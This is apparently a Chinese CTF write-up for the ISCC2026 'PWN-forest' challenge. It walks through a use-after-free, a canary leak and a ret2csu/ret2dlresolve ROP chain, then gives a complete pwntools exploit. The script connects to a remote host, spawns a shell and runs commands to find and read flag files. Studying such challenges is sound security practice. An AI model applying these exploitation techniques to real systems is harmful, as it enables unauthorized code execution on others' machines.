PWN-forest
ISCC2026 WriteUp 提交模板
题目类型+题目名称
解题思路
1.checksec

附件是 amd64、No PIE、Canary found、NX enabled 。

main() 先调用 forest_lock_one(),然后判断全局变量 key 是否等于 0x7ea

可以看到p1是个比较明显的UAF,其次就是这里p1申请后,很快就释放了。紧接着又一个申请,我们继续申请0x64的话,就可以申请到同一块堆了。
所以这里先输入100,再输入magic即可。

这样程序就可以进入forest_lock_two()

由于我们修改key == 2026,所以这里会直接返回。

我们继续走的逻辑是这个。这了buf是0x20,所以其实是个栈溢出。又紧接着的printf(%sxxx,buf),又是个标准的格式化漏洞。相互配合可以泄露canary。
计算下发现:buf是从0x20开始,canary是从0x8开始,有:0x20 - 0x8 = 0x18 = 24。
所以我们发送24+1个字节就可以带出Canary。
2.第二次栈溢出,打 ret2dlresolve。
利用思路是这样的:
- 先用一段ROP伪造重定位结构
- 再跳到
plt[0]让其解析执行system
搜索发现缺了pop rdx ; ret,所以用次ret2csu:

错一字节就是:`POP_RDI = 0x401763


RET = 0x40101a
POP_RDI = 0x401763
CSU_CALL = 0x401740
CSU_POP = 0x40175a
PLT0 = 0x401020
其次Pwntools中的Ret2dlresolvePayload 会自动帮我们生成伪造结构:
dlresolve.data_addr = 0x404e00
payload length = 40
"/bin/sh" offset = 32
reloc_index可能会随pwntools实现细节改变,我们就动态获取dlresolve.reloc_index。
这里补一个详细的解释:
RET = 0x40101A #栈对齐
POP_RDI = 0x401763 #pop rdi | retn
CSU_CALL = 0x401740 #r14 -> rdx,r13 -> rsi,r12d -> edi
CSU_POP = 0x40175A #6个pop,加retn
PLT0 = elf.get_section_by_name(".plt").header.sh_addr
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=[b"/bin/sh"])
def build_overflow(canary):
shell_ptr = dlresolve.data_addr + dlresolve.payload.find(b"/bin/sh")
chain = flat(
RET,
CSU_POP,
0, #rbx
1, #rbp
0, #r12 ,在 CSU_CALL 里会 mov edi, r12d,相当于 read 的第 1 个参数。
dlresolve.data_addr, #r13,在 CSU_CALL 里会 mov rsi, r13,相当于 read 的第 2 个参数.
len(dlresolve.payload), #r14,在 CSU_CALL 里会 mov rdx, r14.相当于 read 的第 3 个参数
elf.got["read"], #r15 在 CSU_CALL 里会 call qword ptr [r15 + rbx*8],因为 rbx = 0,所以就是 call [read@got]。
CSU_CALL,
0, #这几个都是垃圾填充
0,
0,
0,
0,
0,
0,
POP_RDI, #
shell_ptr, #rdi
PLT0, #进入动态解析器跳板
dlresolve.reloc_index, #给动态解析器的重定位索引配合伪造的 dlresolve 数据,解析出 system
)
完整利用链就是:
- UAF
- read泄露canary
- 第二次read打retcsu
- 调用
read(0, dlresolve.data_addr, len(dlresolve.payload)) - 再执行
pop rdi ; ret,把/bin/sh地址放进 `rdi - 跳到
plt[0]并带上dlresolve.reloc_index,让动态链接器解析 `system - 执行
system("/bin/sh")后发送 `cat /flag*

ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2}
Exp
from pwn import *
import re
#==============全局配置=======================
ELFpath = "./attachment-56"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10001
NOASLR = False
#===============初始化=======================
context(os="linux", arch="amd64", log_level="info")
elf = ELF(ELFpath, checksec=False)
if LOCAL:
io = process(ELFpath, aslr=not NOASLR)
else:
io = remote(HOST, PORT, timeout=5)
#=================简化=====================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
#====================业务常量====================
RET = 0x40101A
POP_RDI = 0x401763
CSU_CALL = 0x401740
CSU_POP = 0x40175A
PLT0 = elf.get_section_by_name(".plt").header.sh_addr
CANARY_OFFSET = 24
SUFFIX = b" ... A curious gift indeed."
FLAG_REGEX = re.compile(rb"ISCC\{[^}]+\}")
POST_SHELL_COMMAND = (
b"cat /flag* 2>/dev/null || "
b"cat /flag 2>/dev/null || "
b"find / -maxdepth 3 -name 'flag*' -exec cat {} \\; 2>/dev/null"
)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=[b"/bin/sh"])
def pass_forest_lock():
sla(b"Traveler, recite the count of your wizard's note:", b"100")
sla(b"Carve your incantation on the rune sheet!", b"magic")
def leak_canary():
probe = b"A" * CANARY_OFFSET + b"B"
sda(b"What do you sacrifice?", probe)
ru(probe)
leak = ru(SUFFIX, drop=True)
return u64(b"\x00" + leak[:7])
def build_overflow(canary):
shell_ptr = dlresolve.data_addr + dlresolve.payload.find(b"/bin/sh")
chain = flat(
RET,
CSU_POP,
0,
1,
0,
dlresolve.data_addr,
len(dlresolve.payload),
elf.got["read"],
CSU_CALL,
0,
0,
0,
0,
0,
0,
0,
POP_RDI,
shell_ptr,
PLT0,
dlresolve.reloc_index,
)
return flat(
b"A" * CANARY_OFFSET,
canary,
b"B" * 8,
chain,
)
def attack():
pass_forest_lock()
canary = leak_canary()
log.success(f"canary = {hex(canary)}")
overflow = build_overflow(canary)
sd(overflow)
ru(b"The ghost answers with warmth.\n")
sd(dlresolve.payload)
sl(POST_SHELL_COMMAND)
data = io.recvrepeat(3)
match = FLAG_REGEX.search(data)
if not match:
log.failure(f"unexpected output: {data!r}")
return
flag = match.group().decode()
log.success(flag)
print(flag)
attack()
io.close()

浙公网安备 33010602011771号